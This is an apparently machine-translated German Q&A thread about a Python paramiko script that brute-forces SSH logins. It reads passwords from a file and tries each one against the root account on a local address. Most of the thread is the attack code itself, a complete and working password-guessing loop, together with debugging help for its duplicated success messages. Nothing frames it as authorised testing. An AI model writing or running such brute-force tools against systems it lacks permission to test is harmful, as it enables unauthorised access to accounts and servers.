2017-09-16 4 views
-1

Meine Idee, Python versuchen, Passwort-Liste, auch wenn Passwort gefunden, zu vervollständigen, bis die Liste endet. mein Code funktioniert, aber es gibt die Erfolgsmeldung 5 Mal vor dem Rest fortPython Schleife ssh Bruteforce

Hinweis: Schleife gemacht, so viel wie Wörter existiert in passwords.txt in diesem Fall = 5

with open("passwords.txt", "r") as p: 
_passwords = [line.strip() for line in p] 
_retries = range(len(_passwords)) 
for _pass in _passwords: 
    try: 
     for x in _retries: 
      ssh.connect(_host, username=_user, password=_pass) 
      print ("Success! user: "+_user+" and pass: "+_pass) 
      ssh.close() 
    except (paramiko.ssh_exception.AuthenticationException) as e: 
     print e 
     time.sleep(1) 

Antwort

0

Sie versuchen kann wie sys.exit() nach ssh.close() hinzufügen

ssh.close() 
sys.exit() 

aber vergessen Sie nicht sys-Paket wie

zu importieren

Start Ihrer Datei ...

Sie müssen auch nicht zwei Schleifen verwenden. Es kann in einer Schleife gemacht werden, Sie können Ihren Code optimieren.

+0

gut, aber ich möchte auf jeden Fall die Liste vervollständigen. crrently meine Ausgabe ist so etwas wie Authentifizierung fehlgeschlagen Authentifizierung fehlgeschlagen Authentifizierung fehlgeschlagen Erfolg! Erfolg! Erfolg! Erfolg! Authentifizierung fehlgeschlagen Authentifizierung fehlgeschlagen So vervollständigt es die Liste aber druckt die Erfolgsmeldung so viel, wie die for-Schleife 5 mal geht – Rashwanov

0

Ok Ich habe es geschafft, und unten ist der vollständige Code.

Bitte informieren Sie, wenn diese in eleganter Art und Weise erreicht werden könnte, aber verständlich für Anfänger

import sys 
import time 
import base64 
import paramiko 
import getpass 


ssh = paramiko.SSHClient() 
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
_host = "192.168.1.150" 
_user = "root" 
_connection = None 
with open("passwords.txt", "r") as p: 
    _passwords = [line.strip() for line in p] 
    _retries = range(len(_passwords)) 
    for _pass in _passwords: 
     try: 
      for x in _retries: 
       ssh.connect(_host, username=_user, password=_pass, timeout=4) 
       _connection = True 
       ssh.close() 
      if _connection: 
       print ("Success! user: "+_user+" and pass: "+_pass) 
     except (paramiko.ssh_exception.AuthenticationException) as e: 
      print e 
      time.sleep(1)